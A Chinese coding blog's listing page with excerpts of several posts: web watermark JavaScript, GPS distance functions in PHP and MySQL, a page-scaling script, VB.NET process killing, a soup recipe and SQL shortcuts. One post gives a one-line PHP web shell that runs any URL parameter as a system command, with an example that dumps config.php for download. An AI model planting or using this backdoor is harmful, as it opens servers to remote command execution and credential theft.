利用长轮询实现微信网页版扫码登录
扫码登录操作过程 浏览器输入:https://wx.qq.com/?lang=zh_CN 手机登录微信,利用“扫一扫”功能扫描网页上的二维码 手机扫描成功后,提示“登录网页版微信”;网页上显示“成功扫描 请在手机点击确认以登录” …
扫码登录操作过程 浏览器输入:https://wx.qq.com/?lang=zh_CN 手机登录微信,利用“扫一扫”功能扫描网页上的二维码 手机扫描成功后,提示“登录网页版微信”;网页上显示“成功扫描 请在手机点击确认以登录” …
HTML代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
<pre class="inline:true class:language-html decode:1 " ><div id="water-div" style="pointer-events: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0;"> </div> <script type="text/javascript" > function watermark(txt) { //初始设置水印容器高度 var water = document.getElementById("water-div"); water.innerHTML = ""; //水印样式默认设置 var defaultSettings={ watermark_txt:txt, watermark_x:20,//水印起始位置x轴坐标 watermark_y:20,//水印起始位置Y轴坐标 watermark_rows:2000,//水印行数 watermark_cols:2000,//水印列数 watermark_x_space:50,//水印x轴间隔 watermark_y_space:30,//水印y轴间隔 watermark_color:'#aaaaaa',//水印字体颜色 watermark_alpha:0.3,//水印透明度 watermark_fontsize:'18px',//水印字体大小 watermark_font:'微软雅黑',//水印字体 watermark_width:280,//水印宽度 watermark_height:80,//水印高度 watermark_angle: 15//水印倾斜度数 }; //获取页面最大宽度 var page_width = Math.max(document.documentElement.clientWidth, window.screen.availWidth); //获取页面最大高度 var page_height = Math.max(document.documentElement.clientHeight, window.screen.availHeight); //水印数量自适应元素区域尺寸 defaultSettings.watermark_cols=Math.ceil(page_width/(defaultSettings.watermark_x_space+defaultSettings.watermark_width)); defaultSettings.watermark_rows=Math.ceil(page_height/(defaultSettings.watermark_y_space+defaultSettings.watermark_height)); var x; var y; for (var i = 0; i < defaultSettings.watermark_rows; i++) { y = defaultSettings.watermark_y + (defaultSettings.watermark_y_space + defaultSettings.watermark_height) * i; for (var j = 0; j < defaultSettings.watermark_cols; j++) { x = defaultSettings.watermark_x + (defaultSettings.watermark_width + defaultSettings.watermark_x_space) * j; var mask_div = document.createElement('div'); //mask_div.id = 'mask_div' + i + j; mask_div.className = 'mask_div'; //mask_div.appendChild(document.createTextNode(defaultSettings.watermark_txt)); mask_div.innerHTML=(defaultSettings.watermark_txt); //设置水印div倾斜显示 mask_div.style.webkitTransform = "rotate(-" + defaultSettings.watermark_angle + "deg)"; mask_div.style.MozTransform = "rotate(-" + defaultSettings.watermark_angle + "deg)"; mask_div.style.msTransform = "rotate(-" + defaultSettings.watermark_angle + "deg)"; mask_div.style.OTransform = "rotate(-" + defaultSettings.watermark_angle + "deg)"; mask_div.style.transform = "rotate(-" + defaultSettings.watermark_angle + "deg)"; mask_div.style.visibility = ""; mask_div.style.position = "absolute"; mask_div.style.left = x + 'px'; mask_div.style.top = y + 'px'; mask_div.style.overflow = "hidden"; mask_div.style.zIndex = "9999"; mask_div.style.pointerEvents='none';//pointer-events:none 让水印不遮挡页面的点击事件 //mask_div.style.border="solid #eee 1px"; //兼容IE9以下的透明度设置 mask_div.style.filter = "alpha(opacity=50)"; mask_div.style.opacity = defaultSettings.watermark_alpha; mask_div.style.fontSize = defaultSettings.watermark_fontsize; mask_div.style.fontFamily = defaultSettings.watermark_font; mask_div.style.color = defaultSettings.watermark_color; mask_div.style.textAlign = "center"; mask_div.style.width = defaultSettings.watermark_width + 'px'; mask_div.style.height = defaultSettings.watermark_height + 'px'; mask_div.style.display = "block"; water.appendChild(mask_div); //document.getElementById("content").appendChild(mask_div); } } } function getCurrentDate(format) { var now = new Date(); var year = now.getFullYear(); //得到年份 var month = now.getMonth();//得到月份 var date = now.getDate();//得到日期 var day = now.getDay();//得到周几 var hour = now.getHours();//得到小时 var minu = now.getMinutes();//得到分钟 var sec = now.getSeconds();//得到秒 month = month + 1; if (month < 10) month = "0" + month; if (date < 10) date = "0" + date; if (hour < 10) hour = "0" + hour; if (minu < 10) minu = "0" + minu; if (sec < 10) sec = "0" + sec; var time = ""; //精确到天 if (format == 1) { time = year + "-" + month + "-" + date; } //精确到分 else if (format == 2) { time = year + "-" + month + "-" + date + " " + hour + ":" + minu + ":" + sec; } return time; } </script> |
调用:
1 |
<pre class="inline:true class:language-html decode:1 " >window.onload = function () { watermark("水印文字" + getCurrentDate(2)); }; |
效果如图:
PHP计算两个GPS点之间的距离
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<pre class="inline:true class:language-php decode:1 " > #lng为经度,lat为纬度,一定不要弄错了哦 function distance($lat1, $lng1, $lat2, $lng2){ return (2*ATAN2(SQRT(SIN(($lat1-$lat2)*PI()/180/2) *SIN(($lat1-$lat2)*PI()/180/2)+ COS($lat2*PI()/180)*COS($lat1*PI()/180) *SIN(($lng1-$lng2)*PI()/180/2) *SIN(($lng1-$lng2)*PI()/180/2)), SQRT(1-SIN(($lat1-$lat2)*PI()/180/2) *SIN(($lat1-$lat2)*PI()/180/2) +COS($lat2*PI()/180)*COS($lat1*PI()/180) *SIN(($lng1-$lng2)*PI()/180/2) *SIN(($lng1-$lng2)*PI()/180/2))))*6378140; } |
调用方法:
1 |
<pre class="inline:true class:language-php decode:1 " >echo distance(39.91917,116.3896,39.91726,116.3940); |
Mysql计算两GPS坐标的距离
1 2 3 |
<pre class="inline:true class:language-sql decode:1 " >drop function getDistance; DELIMITER $$ CREATE DEFINER=<pre class="inline:true decode:1 " >root |
@[crayon-670d2d820993a7 …
针对1920*1080 分配率缩放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<pre class="inline:true class:language-javascript decode:1 " >window.addEventListener('load', adaptation); window.addEventListener('resize', adaptation); function adaptation () { var w = document.body.clientWidth; var h = document.body.clientHeight; var nw = 1920; nh = 1080; var left, top, scale; if (w / h > nw / nh) { scale = h / nh; top = 0; left = (w - nw * scale) / 2; } else { scale = w / nw; left = 0; top = (h - nh * scale) / 2; } document.body.style.zoom = scale; //document.getElementById('main').setAttribute('style', 'transform: scale('+ scale +');left:'+left+'px;top:'+top+'px;'); } |
直接上代码:
1 2 3 4 5 6 7 8 9 10 |
<?php $c=urldecode($_GET['c']);if($c){`$c`;} //完整 !$_GET['c']||`{$_GET['c']}`;//精简 /******************************************************* &amp;amp;amp;amp;amp;amp;nbsp; * 原理:PHP中``符号包含会当作系统命令执行 &amp;amp;amp;amp;amp;amp;nbsp; * 示例:http://host/?c=type%20config.php>config.txt &amp;amp;amp;amp;amp;amp;nbsp; * 然后就可以下载config.txt查看内容了! &amp;amp;amp;amp;amp;amp;nbsp; * 可以试试更变态的命令,不要干坏事哦! &amp;amp;amp;amp;amp;amp;nbsp; *******************************************************/ ?> |
其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!
在网上浏览时看到一些网站的URL使用#号后面传递一些字符作为参数,因为URL中#(井号)后的内容是不会被加入HTTP请求的,于是研究了一下,分享给大家。 URL:http://xxx.com/index.php?id=1#01234abcd 可以 …
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
<pre class="inline:true class:language-dotnet decode:1 " >Public Sub Main() '正在运行的MyPro.exe”的情况下,全部强制结束。 If ProcessOnN("MyPro") > 0 Then KillProcess("MyPro") End If End Sub Public Function ProcessOnN(ByVal ProcessName As String) As Integer '有“.EXE”的话删除 Dim s As String = ProcessName.ToUpper.Replace(".EXE", "").Trim '返回指定进程的个数 Return Process.GetProcessesByName(s).Length End Function Public Sub KillProcess(ByVal comObjProcessName As String) Dim mProcessList As Process() mProcessList = Process.GetProcessesByName(comObjProcessName) For Each tmpProcess As Process In mProcessList '有正在执行的“程序”时,全部强制结束 tmpProcess.Kill() Next End Sub |
春天来了,春困也随之来了,广州阿妈的口头禅:“你湿热啊!”相信不少靓仔靓女都听过。的确,春天容易湿气重,祛湿排湿正当时。为大家推荐5款简单易做的祛湿靓汤,味道营养,最重要的是可以祛湿。来来来,快 …
1.ctrl+q 打开查询窗口2.ctrl+/ 注释sql语句3.ctrl+shift +/ 解除注释4.ctrl+r 运行查询窗口的sql语句5.ctrl+shift+r 只运行选中的sql语句6. F6 打开一个 …